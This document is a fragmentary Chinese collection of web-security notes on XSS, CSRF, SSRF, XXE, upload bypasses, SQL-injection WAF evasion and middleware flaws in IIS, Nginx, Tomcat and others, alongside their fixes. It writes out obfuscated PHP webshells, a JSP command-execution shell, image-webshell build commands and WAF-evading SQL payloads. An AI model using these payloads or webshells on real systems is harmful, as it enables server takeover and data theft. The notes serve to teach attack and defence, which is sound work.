DOM型XSS的核心是运用DOM函数去执行访问xss平台的目的,
通过DOM函数改变HTML的结构,使浏览器加载页面的同时访问了xss平台,记录了使用者的cookie。
HttpOnly能够有效的阻止XSS跨站攻击偷取我们的Cookie
Http Trace攻击就可以将你的Header里的Cookie回显出来,利用Ajax或者flash就可以完成这种攻击;或者配置或者应用程序上可能Bypass,比如header头的泄漏
<iframe>
标签嵌入一个远程域,完全撑开后,以覆盖原有的页面。A.PHP直接输出html的,可以采用以下的方法进行过滤:
1.htmlspecialchars函数 把预定义的字符 "<" (小于)和 ">" (大于)转换为 HTML 实体
2.htmlentities函数 把字符转换为 HTML 实体
3.HTMLPurifier.auto.php插件
4.RemoveXss函数
htmlspecialchars 只转义 & 、" 、' 、< 、> 这几个html代码,
而 htmlentities 却会转化所有的html代码,连同里面的它无法识别的中文字符也会转化。
B.PHP输出到JS代码中,或者开发Json API的,则需要前端在JS中进行过滤:
1.尽量使用innerText(IE)和textContent(Firefox),也就是jQuery的text()来输出文本内容
2.必须要用innerHTML等等函数,则需要做类似php的htmlspecialchars的过滤
C.其它的通用的补充性防御手段
1.在输出html时,加上Content Security Policy的Http Header
(作用:可以防止页面被XSS攻击时,嵌入第三方的脚本文件等)
(缺陷:IE或低版本的浏览器可能不支持)
2.在设置Cookie时,加上HttpOnly参数
(作用:可以防止页面被XSS攻击时,Cookie信息被盗取,可兼容至IE6)
(缺陷:网站本身的JS代码也无法操作Cookie,而且作用有限,只能保证Cookie的安全)
3.在开发API时,检验请求的Referer参数
(作用:可以在一定程度上防止CSRF攻击)
(缺陷:IE或低版本的浏览器中,Referer参数可以被伪造)
https://www.cnblogs.com/mysticbinary/p/12542695.html https://www.cnblogs.com/Qiuzhiyu/p/11706023.html
waf不能防御DOM型XSS,DOM型XSS构造的URL参数不用发送到服务器端,可以达到绕过WAF、躲避服务端的检测效果。
客户端JavaScript可以访问浏览器的DOM文本对象模型是利用的前提, 当确认客户端代码中有DOM型XSS漏洞时,并且能诱使(钓鱼)一名用户访问自己构造的URL,就说明可以在受害者的客户端注入恶意脚本。 利用步骤和反射型很类似,但是唯一的区别就是,构造的URL参数不用发送到服务器端,可以达到绕过WAF、躲避服务端的检测效果。
防御DOM型XSS
检测的流程就是通过查看代码是否有document.write、eval、window之类能造成危害的地方, 然后通过回溯变量和函数的调用过程,查看用户是否能控制输入。 如果能控制输入,就看看是否能复现,能复现就说明存在DOM XSS,需要对输入的数据进行编码。
当业务需要必须得将用户输入的数据放入html,那就要尽量使用安全的方法, 比如innerText(),testContent()等。在使用框架时尽量使用框架自带的安全函数。
攻击者盗用了你的身份,以你的名义发送恶意请求。CSRF能够做的事情包括:以你的名义发送邮件,发消息,盗用你的账号,甚至于购买商品,虚拟货币转账。。。
发生条件:
csrf如何防御:
1、在客户端页面增加伪随机数
Cookie Hashing(所有表单都包含同一个伪随机值): 这可能是最简单的解决方案了,因为攻击者不能获得第三方的Cookie(理论上),所以表单中的数据也就构造失败了 这个方法个人觉得已经可以杜绝99%的CSRF攻击了,那还有1%呢….由于用户的Cookie很容易由于网站的XSS漏洞而被盗取,这就另外的1%。一般的攻击者看到有需要算Hash值,基本都会放弃了,某些除外,所以如果需要100%的杜绝,这个不是最好的方法。
2、验证码
这个方案的思路是:每次的用户提交都需要用户在表单中填写一个图片上的随机字符串,厄….这个方案可以完全解决CSRF,但个人觉得在易用性方面似乎不是太好,还有听闻是验证码图片的使用涉及了一个被称为MHTML的Bug,可能在某些版本的微软IE中受影响。
3、One-Time Tokens(不同的表单包含一个不同的伪随机值)
在实现One-Time Tokens时,需要注意一点:就是“并行会话的兼容”。如果用户在一个站点上同时打开了两个不同的表单,CSRF保护措施不应该影响到他对任何表单的提交。考虑一下如果每次表单被装入时站点生成一个伪随机值来覆盖以前的伪随机值将会发生什么情况:用户只能成功地提交他最后打开的表单,因为所有其他的表单都含有非法的伪随机值。必须小心操作以确保CSRF保护措施不会影响选项卡式的浏览或者利用多个浏览器窗口浏览一个站点。
https://baijiahao.baidu.com/s?id=1593973193350471506&wfr=spider&for=pc
服务端请求伪造攻击,有的大型网站在web应用上提供了从其他服务器获取数据的功能。使用户指定的URL web应用获取图片,下载文件,读取文件内容。攻击者利用有缺陷的web应用作为代理攻击远程和内网的服务器(跳板)。
一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
形成原因
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。利用的是服务端的请求伪造。ssrf是利用存在缺陷的web应用作为代理攻击远程和本地的服务器
利用手段及危害:
1)分享:通过URL地址分享网页内容
2)转码服务
3)在线翻译
4)图片加载与下载:通过URL地址加载或下载图片
5)图片、文章收藏功能
6)未公开的api实现以及其他调用URL的功能
7)从URL关键字中寻找
1、@
2、添加端口号
3、短地址
4、可以指向任意ip的域名:xip.io
5、ip地址转换成进制来访问
115.239.210.26 = 16373751032
利用http协议对内网进行探测,探测整个内网的存活ip,和端口,如果要针对redis,那么这一步主要是找开启了6379端口的内网ip地址。
可利用bp或者脚本进行快速探测,由于回显的不同,脚本就需要按照回显的特征来写,那种回显是存在,哪种回显是不存在这样的ip或端口。
http://xxx.xxx.xx.xx/xx/xx.php?url=http://172.21.0.2:6379
这个协议可以读取系统的一些存放密码的文件,比如说linux的/etc/passwd或者windows的C:/windows/win.ini 等,或者说ctf中的flag文件。
只要知道内网有开启6379的redis服务(或许是其他端口开放的此服务),那么就可以利用目标机进行攻击redis了。
第一步探测Redis我们已经完成了,那么第二部就是发送redis命令,将弹shell脚本写入/etc/crontab中,crontab就是linux下的一个定时执行事件的一个程序。
还有两个定时服务文件是 /var/spool/cron/root 和 /var/spool/cron/crontabs/root 。针对这三个路径的不同,如下会进行讲解。
方法一:通过header CRLF 注入
方法二:通过【curl命令】和【gopher协议】远程攻击内网redis
方法三:使用dict协议向Redis数据库写shell
简单来说,XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。
例如,如果你当前使用的程序为PHP,则可以将libxml_disable_entity_loader设置为TRUE来禁用外部实体,从而起到防御的目的。
怎样构建外部实体注入?
xxe常见场景是如pdf在线解析、word在线解析、定制协议,留言板等,跟逻辑设计有关而与语言无关
最好是不要让XML作为参数传输或整体结构可被用户篡改。如果一定要使用,至少要禁用DTD、Entity。
xxe危害 读取本地文件,执行系统命令,探测内网端口,攻击内网服务
探测内网端口的协议有gopher file dict,不同语言支持不同的协议,是具体情况而定 file http ftp是常用的
通常攻击者会将payload注入XML文件中,一旦文件被执行,将会读取服务器上的本地文件,并对内网发起访问扫描内部网络端口。换而言之,XXE是一种从本地到达各种服务的方法。此外,在一定程度上这也可能帮助攻击者绕过防火墙规则过滤或身份验证检查。
XXE危害1:读取任意文件
XXE危害2:执行系统命令
XXE危害3:探测内网端口
XXE危害4:攻击内网网站
方案一、使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
方案二、过滤用户提交的XML数据
关键词:<!DOCTYPE
和<!ENTITY
,或者,SYSTEM
和PUBLIC
。
客户端也可以有xxe攻击,有的网站会使用office打开docx进行解析 Java解析XML的常用三方库,如果不禁用DTD、Entity都会导致XXE漏洞:
javax.xml.stream.XMLStreamReader;
javax.xml.parsers.DocumentBuilderFactory;
针对PHP的网站主要存在下面几种攻击方式: 1、命令注入(Command Injection) 2、eval注入(Eval Injection) 3、客户端脚本攻击(Script Insertion) 4、跨网站脚本攻击(Cross Site Scripting, XSS) 5、SQL注入攻击(SQL injection) 6、跨网站请求伪造攻击(Cross Site Request Forgeries, CSRF) 7、Session 会话劫持(Session Hijacking) 8、Session 固定攻击(Session Fixation) 9、HTTP响应拆分攻击(HTTP Response Splitting) 10、文件上传漏洞(File Upload Attack) 11、目录穿越漏洞(Directory Traversal) 12、远程文件包含攻击(Remote Inclusion) 13、动态函数注入攻击(Dynamic Variable Evaluation) 14、URL攻击(URL attack) 15、表单提交欺骗攻击(Spoofed Form Submissions) 16、HTTP请求欺骗攻击(Spoofed HTTP Requests)
https://www.php.net/manual/zh/appendices.php
以下这些也是代码审计中的重要考点
一般只能通过代码审计的方式挖掘该漏洞,寻找代码中unserialize()函数的变量可控,且PHP文件代码中存在可利用的类,同时类中具有魔术方法。
__construct() 当一个对象创建时被调用
__destruct() 当一个对象销毁时被调用
__toString() 当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup 将在序列化之后立即被调用
http://luckyzmj.cn/posts/92124f05.html
https://juejin.im/post/5cac7a646fb9a06876101ed8 https://www.cnblogs.com/yzloo/p/10391078.html
信息泄露漏洞是由于Web服务器或应用程序没有正确处理一些特殊请求,泄露Web服务器的一些敏感信息,如用户名、密码、源代码、服务器信息、配置信息等。
造成信息泄露主要有以下三种原因:
–Web服务器配置存在问题,导致一些系统文件或者配置文件暴露在互联网中;
–Web服务器本身存在漏洞,在浏览器中输入一些特殊的字符,可以访问未授权的文件或者动态脚本文件源码;
–Web网站的程序编写存在问题,对用户提交请求没有进行适当的过滤,直接使用用户提交上来的数据。
1.初始思路:如果网站禁止上传asp文件我们就上传iis可以解析的cer和asa文件
2.iis6.0:会解析此两类文件:/test.asp/test.jpg
test.asp;.jpg
3.iis7.5:解析此类情况:test.jpg/.php
条件:php配置文件开启cgi.fix.pathinfo(php.ini)
4.apache:apache重要文件时在/etc/mime.types文件中写入了可以解析哪些文件和mime类型
解析是由于apache特性从右向左解析。当apache添加addhandle application/x-httpd-php.php
就可以解析php文件。修复是用sethandle然后加正则匹配
5.nginx:解析test.jpg/.php文件,低版本的可以%00.PHP进行解析攻击
同样和apache一样是通过mime.types来识别文件
也是当cgi.fix.pathinfo=1时开启文件修理路径修理功能
在www.conf中加入security.limit_extensions= 没有指定特定格式就可以解析php
1.iis6.0:命令执行漏洞编号CVE-2017-7269。在开启webdav服务的情况下可远程执行漏洞
原理:iis6.0处理PROPFIND指令对url的长度没有检查和控制,导致memcpy对虚拟路径执行引发栈溢出。
1.nginx:目录遍历与apache一样同样是配置错误
开启:/etc/nginx/sites-available/default中的location中加入autoindex on
1.tomcat:修改/conf/web.xml中的readonly=false就可以用put方式创建jsp文件进行远程代码执行
2.还有IIS6.0 PUT漏洞
限制上传文件类型
扩展名检测防止%00截断以及特殊字符绕过,对上传的图片文件进行2次渲染压缩
限制上传文件大小:配置web server 允许最大的post大小
将上传目录设置为静态资源目录,防止被解析为脚本
使用代理页面隐藏真是路径
Seay源代码审计工具
1.SQL注入漏洞
所有与数据库交互的地方都有可能存在SQL注入漏洞。
2.文件包含漏洞
include/include_once/require/require_once
3.XSS跨站漏洞
查看获取到字符串输入/输出是否进行处理
4.代码执行漏洞
PHP代码执行漏洞,常见的出现在危险函数上,过滤不严导致
eval/preg_replace/…
5.命令执行漏洞
命令执行漏洞,常见的出现在危险函数上,过滤不严导致
system/exec/…
6.逻辑错误漏洞
这类比较广,主要看的是程序员的对代码的理解能力,比如典型的变量覆盖
foreach(Array(‘_GET’,’_POST’,’_COOKIE’) as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _xxoo($_v);
}
7.拒绝服务漏洞
exif_read_data/Glob/…
8.变量覆盖漏洞
变量覆盖主要在逻辑问题、相关敏感函数之间触发
parse_str/$$/mb_parse_str/…
9.任意文件读取
这种一般出现在文件读取过滤问题,或者代码执行之类
file_get_contents/readfile/..
10.任意文件下载
这种比较常见的也是过滤不严
11.任意文件删除 过滤不严,相关敏感函数
unlink/delete/session_destroy/..
12.任意文件上传
文件类型过滤不严,代码逻辑问题 注意move_uploaded_file
13.任意文件写入
文件写入过滤不严
file_put_contents/fwrite/..
14.畸形目录创建
常见出现在创建目录没有过滤,容易导致出现创建畸形目录,引发解析漏洞
rename/mkdir/..
15.COOKIE/SESSION欺骗漏洞
主要看登陆验证、权限验证处理方式,有时候,我们可以修改cookie,改变角色
16.越权操作漏洞
也是涉及到权限验证方面,很常见的,很多程序在修改自己密码的时候,sql语句后面的where=的值都是放在表单里面,我们可以修改其值,即可达到越权的效果。
JS检查
一般都是在网页上写一段javascript脚本,校验上传文件的后缀名,有白名单形式也有黑名单形式。
黑名单处理过滤了文件后缀,我们可以通过特殊可解析后缀进行绕过,使用php3,phtml等绕过。
如果黑名单没有限制 .htaccess,可以上传这个文件,文件中内容包含如下:
SetHandler application/x-httpd-php
这样所有的文件都会解析为php,接下来上传图片马即可
生成图片马的cmd命令
copy 1.jpg/b + 1.php/a 2.jpg
黑名单没有没有对限制的文件名大小写进行统一。
黑名单没有对文件中的空格进行处理,可在后缀名中加空格绕过。
用Burp抓包,在 filename 参数双引号内,文件名后面,加空格
filename="1.PHP "
windows会对文件中的点进行自动去除,所以可以在文件名末尾加点绕过
同windows特性,同样用Burp抓包 ,然在文件后缀名中加::$DATA
绕过
源代码中,没有对文件名末尾的点符号进行绕过,并且把处理过的文件名拼接到路径中。
可以构造文件名1.PHP. . (点+空格+点),经过处理后,文件名变成1.PHP.,即可绕过。
采用双写绕过,例如:1.pphphp
我们burp抓包修改即可绕过,上传一个php文件,然后将 Content-type
,改为合法格式,如图片类型的:image/gif
代码中,文件路径采用字符串拼接的方式,因此可以利用%00截断绕过
用Burp抓包,在数据包第一行的url请求文件名后加上%00
抓包后的数据包第一行如下
POST /Pass-11/index.php?save_path=../upload/1.php%00
然后直接访问/upload/1.php即可
通过post传进来的,在还是利用00截断,用Burp抓包,在二进制中找到文件名,在文件名后的位置的二进制数值进行修改为00,因为post不会像get对%00进行自动解码。
接下来访问上传的文件路径即可
主要是检测文件内容开始处的文件幻数,比如图片类型的文件幻数如下,
要绕过jpg 文件幻数检测就要在文件开头写上下图的值:
FF D8 FF E0 00 10 4A 46 49 46
要绕过gif 文件幻数检测就要在文件开头写上下图的值
47 49 46 38 39 61
要绕过png 文件幻数检测就要在文件开头写上下面的值
89 50 4E 47
然后在文件幻数后面加上自己的一句话木马代码就行了
图像文件相关信息检测常用的就是getimagesize()函数
只需要把文件头部分伪造好就ok 了,就是在幻数的基础上还加了一些文件信息
有点像下面的结构
GIF89a
(...some binary data for image...)
<?php phpinfo(); ?>
(... skipping the rest of binary data ...)
图片马绕过
copy normal.jpg /b + shell.php /a webshell.jpg
一般是调用API 或函数去进行文件加载测试,常见的是图像渲染测试,甚至是进行二次渲染(过滤效果几乎最强)。
对渲染/加载测试的攻击方式是代码注入绕过,对二次渲染的攻击方式是攻击文件加载器自身。
可以用图像处理软件对一张图片进行代码注入
用winhex 看数据可以分析出这类工具的原理是
在不破坏文件本身的渲染情况下找一个空白区进行填充代码,一般会是图片的注释区
对于渲染测试基本上都能绕过,毕竟本身的文件结构是完整的
imagecreatefromjpeg二次渲染它相当于是把原本属于图像数据的部分抓了出来,再用自己的API 或函数进行重新渲染在这个过程中非图像数据的部分直接就隔离开了
得去找图片经过GD库转化后没有改变的部分,再将未改变的部分修改为相应的php代码。
先将文件上传到服务器,然后通过rename修改名称,再通过unlink删除文件,因此可以通过条件竞争的方式在unlink之前,然后不断尝试访问webshell。
可以参考前文 0x01 SQl注入
中的SQL注入绕过方法
使用简单,但是效果不好
例如: and 1=2 可以使其变为 AnD 1=2
使用简单,效果一般
union select 1,2,3,4, from admin
注释完的效果
/**/union/**/select/**/1,2,3,4 from admin
/**/un/**/io/**/n/**/sel/**/ec/**/t/**/1,2,3,4 from admin
第二种注释
/*!and*/ 1=2 效果显著 此处感叹号为"非"的意思,意思是感叹号后面的不注释
正常编码 ‘ 为%27
/ =%2f *==%2a %=%25
/**/==%252f%252a*/
url编码现在基本过不掉了
一些过滤器在处理输入时,如果碰到空字节就会停止处理
我们通常也会利用空字节进行绕过过滤器,如:
id=1 %00 and 1=2
有些过滤器会从用户的输入中进行剥离一些敏感的函数
那我们可以通过函数的嵌套进行绕过一次剥离
selselectect 剥离后 select
总结编写绕过语句
利用注释
/*^ABC^*/
包含关键字
/*!/*!/*!union*/
变换提交方式
将get改成post或者cookie提交
/*!/*and*//*sdfsdgsfwef=swefs=sdgsewege*//*sfwewweqrwtewtdg*//*ssfsb=dsdfsfsog*/*/1=2
4月13日测试过狗可用
通过非注释关键字加一些注释代替空格过waf
变换提交方式有的也可以过狗,但是必须支持post提交方式
tamper脚本使用方法:https://www.freebuf.com/sectool/179035.html
利用修改tamper绕过waf
字符拼接加双 $
符号
<?php
$a='ass';
$b='ert';
$funcName=$a.$b;
$x='funcName';
$$x($_REQUEST['a']);
?>
用函数强行分割
<?php
function a($a){
return $a;}
eval (a($_REQUEST)['a']);
?>
用类分割
<?php
class User
{
public $name=' ';
function __destruct(){
eval("$this->name");
}
}
$user=new User;
$user->name=' '.$_REQUEST['a'];
?>
用反序列化分割
<?php
class A{
var $test = "demo";
function __destruct(){
@eval($this->test);
}
}
$test = $_POST['test'];
$len = strlen($test)+1;
$pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象
$test_unser = unserialize($pp); // 反序列化同时触发_destruct函数
?>
可以参考前文 0x11 文件上传
中的文件上传绕过方法
上传突破禁止上传php文件
第一:文件包含
第二:双文件突破限制
第三:修改上传参数
通过程序读密码
通过waf绕过神器
利用exp读hash
将用户添加到远程桌面组,并且给目录降权
利用第三方软件提权
域渗透总结 https://blog.csdn.net/qq_20307987/article/details/85087960
Web中间件漏洞总结之IIS漏洞 https://www.cnblogs.com/linuxsec/articles/11915496.html
前提条件
IIS 6.0 IIS 7.5
复现过程
IIS 6.0解析漏洞有两种利用方式
/test.asp/test.jpg
test.asp;.jpg
IIS 7.5解析漏洞
test.txt/.php
默认后缀IIS默认地还会解析其他后缀的文件为asp文件,比如cer asa cdx 原理大抵是IIS 5.x/6.0在从文件路径中读取文件后缀时,遇到一个.
后,便进入了一种截断状态,在该状态下遇到特殊符号——/
和;
,都会进行截断,只保留特殊符号前的部分,即:.asp
,从而认为文件后缀为.asp
。
漏洞修复
漏洞条件
IIS 6.0开启了WebDAV并且拥有IIS来宾用户拥有写入权限
漏洞检测
用 IIS PUT SCANNER 工具探测一下目标IIS是否拥有写入权限
漏洞修复
关闭WebDAV和写权限
前提条件
IIS 6.0开启WebDAV
漏洞复现
exp下载地址:https://github.com/zcgonvh/cve-2017-7269
下载后放入msf中,路径为/usr/share/metasploit-framework/modules/exploits/windows/iis/ 注意文件名中-应该改为_否则无法识别,然后拿到了shell(失败后靶机恢复快照,否则可能之后的攻击无效)
批量检测工具
下载地址:https://github.com/admintony/Windows-Exploit/tree/master/IIS6_WebDAV_Scanner
提权
使用pr提权,利用meterpreter上传pr.exe
漏洞修复
关闭WebDAV
前提条件
IIS 1.0,Windows NT 3.51
IIS 3.0,Windows NT 4.0 Service Pack 2
IIS 4.0,Windows NT 4.0选项包
IIS 5.0,Windows 2000
IIS 5.1,Windows XP Professional和Windows XP Media Center Edition
IIS 6.0,Windows Server 2003和Windows XP Professional x64 Edition
IIS 7.0,Windows Server 2008和Windows Vista
IIS 7.5,Windows 7(远程启用<customErrors>或没有web.config)
IIS 7.5,Windows 2008(经典管道模式)
IS 8.0,Windows 8, Windows Server 2012
IIS 8.5,Windows 8.1,Windows Server 2012 R2
IIS 10.0,Windows 10, Windows Server 2016
注意:IIS使用.Net Framework 4时不受影响
短文件名特征
漏洞原理
访问构造的某个存在的短文件名,会返回404,访问构造的某个不存在的短文件名,返回400
自动化探测
https://github.com/lijiejie/IIS_shortname_Scanner
漏洞修复
(1)升级.net framework到4.0以上 (2)修改注册表禁用短文件名功能快捷键Win+R打开命令窗口,输入regedit打开注册表窗口,找到路径:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem,将其中的NtfsDisable8dot3NameCreation这一项的值设为1,1代表不创建短文件名格式,修改完成后,需要重启系统生效(之前存在的文件依然有短文件,新建的文件满足生成短文件条件但是不会再生成) (3)那么之前的文件已经存在短文件名仍能够被猜解怎么办呢?将目录内所有文件剪切到另外地方再粘贴回来就行,相当于新建,这些就没有短文件名无法被猜解了
Apache 是世界使用排名第一的Web 服务器软件。它可以运行在几乎所有广泛使用的 计算机平台上,由于其 跨平台和 安全性被广泛使用,是最流行的Web服务器端软件之一。它快速、可靠并且可通过简单的API扩充,将 Perl/ Python等 解释器编译到服务器中。
漏洞介绍
Apache 文件解析漏洞与用户的配置有密切关系,严格来说属于用户配置问题。
漏洞原理
Apache 文件解析漏洞涉及到一个解析文件的特性:
Apache 默认一个文件可以有多个以点分隔的后缀,Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不 可识别文件解析(不在 mime.tyoes 内),则继续向左识别,当我们请求这样一个文件:
shell.php.xxx.yyy
yyy ->无法识别,向左
xxx ->无法识别,向左
php ->发现后缀是 php,交给 php 处理这个文件
漏洞检测
本地访问127.0.0.1/1.php.ha ,观察文件是否能被解析成php,若能则存在此漏洞
漏洞危害
配置文件上传漏洞,可以绕过黑名单限制,上传木马文件,控制服务器。
漏洞修复
1.apache配置文件,禁止.php.这样的文件执行,配置文件里面加入
<Files ~ “.(php.|php3.)”>
Order Allow,Deny
Deny from all
</Files>
2.用伪静态能解决这个问题,重写类似.php.*
这类文件,打开apache的httpd.conf找到LoadModule rewrite_module modules/mod_rewrite.so
把#号去掉,重启apache,在网站根目录下建立.htaccess文件,代码如下:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule .(php.|php3.) /index.php
RewriteRule .(pHp.|pHp3.) /index.php
RewriteRule .(phP.|phP3.) /index.php
RewriteRule .(Php.|Php3.) /index.php
RewriteRule .(PHp.|PHp3.) /index.php
RewriteRule .(PhP.|PhP3.) /index.php
RewriteRule .(pHP.|pHP3.) /index.php
RewriteRule .(PHP.|PHP3.) /index.php
</IfModule>
漏洞成因
由于配置错误导致的目录遍历
漏洞修复
修改apache配置文件httpd.conf
找到Options+Indexes+FollowSymLinks +ExecCGI
,
修改成 Options-Indexes+FollowSymLinks +ExecCGI
并保存
Nginx(engine x)是一款轻量级的Web服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,可以稳定地运行在 Linux、Windows等操作系统上,其特点是占用内存少,并发能力强。
漏洞介绍
Nginx文件解析漏洞,构造的恶意请求经过nginx中间件处理后,被合法的执行。php有一个选项cgi.fix_pathinfo,默认 值为1,表示开启。
漏洞成因
对任意文件名,在后面添加/任意文件名.php的解析漏洞,比如原本文件名是test.jpg,可以添加test.jpg/x.php进行解析 攻击。
漏洞复现
在test.jpg文件中写入<?php phpinfo();?>
,用浏览器打开文件,会显示错误,在url地址栏中添加/1.php
,若有正确
phpinfo()回显页面,则证明该漏洞存在。
漏洞修复
1) 将php.ini文件中的cgi.fix_pathinfo的值设为0.这样php在解析1.php/1.jpg这样的目录时,只要1.jpg不存在就会显示 404; 2) 将/etc/php5/fpm/pool.d/www.conf中security.limit_ectensions后面的值设为.php 3)在Nginx配置文件中添加以下代码:
if ( $fastcgi_script_name ~ \..*\/.*php ) {
return 403;
}
这行代码的意思是当匹配到类似test.jpg/a.php的URL时,将返回403错误代码。
漏洞成因
与Apache目录遍历一样,属于配置方面的问题,配置不好的话可以导致目录遍历和源码泄露。
漏洞修复
将/etc/nginx/sites-avaliable/default
里的autoindex on
改为autoindex off
漏洞介绍
这个常见于Nginx做反向代理的情况,动态的部分被proxy_pass传递给后端端口,而静态文件需要Nginx来处理。
漏洞成因
假设静态文件存储在/home/目录下,而该目录在url中名字为files,由于访问 url 上files没有添加后缀 / ,这个 /就导致 我们可以从/home/目录穿越到他的上层目录,造成任意文件下载。
漏洞复现
访问http://127.0.0.1:8080/files
时,出现该文件夹下的文件
访问http://127.0.0.1:8080/files../
时,会遍历上级目录
漏洞修复
1)用alias设置目录的别名:
location /files {
alias /home/;
}
2)在配置文件中删除autoindex on
即可
漏洞成因
http://xxx.com/haha
,自动跳转到 https://xxx.com/haha
http://xxx.com/haha
,自动跳转到 http://www.xxx.com/haha
在跳转的过程中,我们需要保证用户访问的页面不变,所以需要从Nginx获取用户请求的文件路径。查看Nginx文档, 可以发现有三个表示uri的变量:
$uri
$document_uri
$request_uri
uri 和 document_uri表示的是解码以后的请求路径,不带参数
$request_uri表示的是完整的URI(没有解码)
如果在nginx.conf中配置了下列的代码:
location / {
return 302 https://$host$uri;
}
因为$uri是解码以后的请求路径,所以可能就会包含换行符,也就造成了一个CRLF注入漏洞。
这个CRLF注入漏洞可以导致会话固定漏洞、设置Cookie引发的CSRF漏洞或者XSS漏洞。
该漏洞除了发生在return
后面,也可能发生在rewrite
、add_header
、proxy_set_header
、proxy_pass
之后。
理论上,只要是可以设置HTTP头的场景都会出现这个问题。
漏洞修复
location / {
return 302 https://$host$request_uri;
}
SSRF(服务端请求伪造)漏洞常出现在反向代理的配置中,反向代理的语法如下:proxy_pass http ://IP
如果攻击者可以操控IP, 将其修改成内网IP地址即可造成SSRF漏洞。
隐藏 Nginx 的版本号
在配置文件nginx.conf里面,设置如下:server_tokens off;
Nginx配置安全检查的工具
Github上开源了一款Nginx配置安全检查的工具,叫做gixy,可以覆盖以上的部分问题。
工具是用python编写的,python2.7和3.5+版本都支持。可以直接用pip来安装:pip install gixy。
使用起来也很简单,直接将 gixy 命令后面加上 ningx.conf 文件的具体位置即可。
总结
Nginx配置文件造成的漏洞不止以上我陈列的这些,解决这些漏洞的根本方法,还是要阅读官方文档
Tomcat 服务器是一个免费的开放源代码的 Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户 不是很多的场合下被普遍使用,是开发和调试 JSP 程序的首选。
对于一个初学者来说,可以这样认为,当在一台机器上配置好 Apache 服务器,可利用它响应 HTML(标准通用标记语 言下的一个应用)页面的访问请求。实际上 Tomcat 是 Apache 服务器的扩展,但运行时它是独立运行的,所以当运行 tomcat 时,它实际上作为一个与 Apache 独立的进程单独运行的。
漏洞成因
Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法,可通过构造的攻击请求向服务器上传包含任意代码的 JSP 文件,造成任意代码执行。
影响版本:Apache Tomcat 7.0.0 – 7.0.81
漏洞复现
配置漏洞,开启put方法可上传文件功能。
当readonly参数设置为false时,即可通过PUT方式创建一个JSP文件,并可以执行任意代码。
tomcat文件夹下的/conf/web.xml文件插入:
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
重启tomcat服务。
访问127.0.0.1:8080,burp抓包,send to Repeater,将请求方式改为PUT,创建一个test.jsp,并用%20
转义空格字符。
test.jsp内容为:
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
返回201,说明创建成功
访问127.0.0.1:8080/122.jsp?cmd=calc
弹出计算器
漏洞修复
漏洞成因
Tomcat 支持在后台部署war文件,可以直接将webshell部署到web目录下。 若后台管理页面存在弱口令,则可以通过爆破获取密码。
漏洞复现
Tomcat安装目录下conf里的tomcat-users.xml
配置如下:
<role rolename="manager-gui"/>
<role rolename="admin-gui"/>
<user username="admin" password="admin" roles="manager-gui"/>
<user username="Tomcat" password="Tomcat" roles="admin-gui"/>
访问后台,登陆。
上传一个war包,里面是jsp后门。成功上传并解析,打开,可执行系统命令,也可进行文件管理,任意查看、删除、上传文件。
漏洞修复
漏洞介绍
该漏洞与之前发布的mxRemoteLifecycleListener反序列化漏洞(CVE-2016-3427)相关,是由于使用了 JmxRemoteLifecycleListener的监听功能所导致。而在官方发布修复后,Tomcat未能及时修复更新而导致的远程代 码执行。
该漏洞所造成的最根本原因是Tomcat在配置JMX做监控时使用了JmxRemoteLifecycleListener的方法。
漏洞影响版本:
漏洞修复
JBoss是一个基于J2EE的开发源代码的应用服务器。 JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss 是一个管理EJB的容器和服务器,支持EJB1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容 器,一般与Tomcat或JeƩy绑定使用。
漏洞成因
Java 序列化,简而言之就是把 java 对象转化为字节序列的过程。而反序列化则是再把字节序列恢复为 java 对象的过 程,然而就在这一转一变得过程中,程序员的过滤不严格,就可以导致恶意构造的代码的实现。
漏洞复现
靶机启动JBoss,攻击机访问靶机服务。访问/invoker/readonly,返回500,说明页面存在,此页面有反序列化漏洞。
漏洞修复
有效解决方案:升级到 JBOSS AS7 版本
临时解决方案:
漏洞成因
jBoss后台管理页面存在弱口令,通过爆破获得账号密码。登陆后台上传包含后门的war包。
漏洞修复
WebLogic是美国公司出品的一个applicaƟonserver,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于 开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
漏洞成因
Java序列化,简而言之就是把java对象转化为字节序列的过程。而反序列话则是再把字节序列恢复为java对象的过程, 然而就在这一转一变得过程中,程序员的过滤不严格,就可以导致恶意构造的代码的实现。
漏洞复现
使用vulhub实验环境,启动实验环境,访问靶机,抓包,修改数据包。Kali启动监听。发送数据包成功后,拿到shell。
漏洞修复
漏洞成因
Weblogic 中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。
漏洞修复
方法一:
以修复的直接方法是将SearchPublicRegistries.jsp直接删除就好了;
方法二:
方法三:(常用)
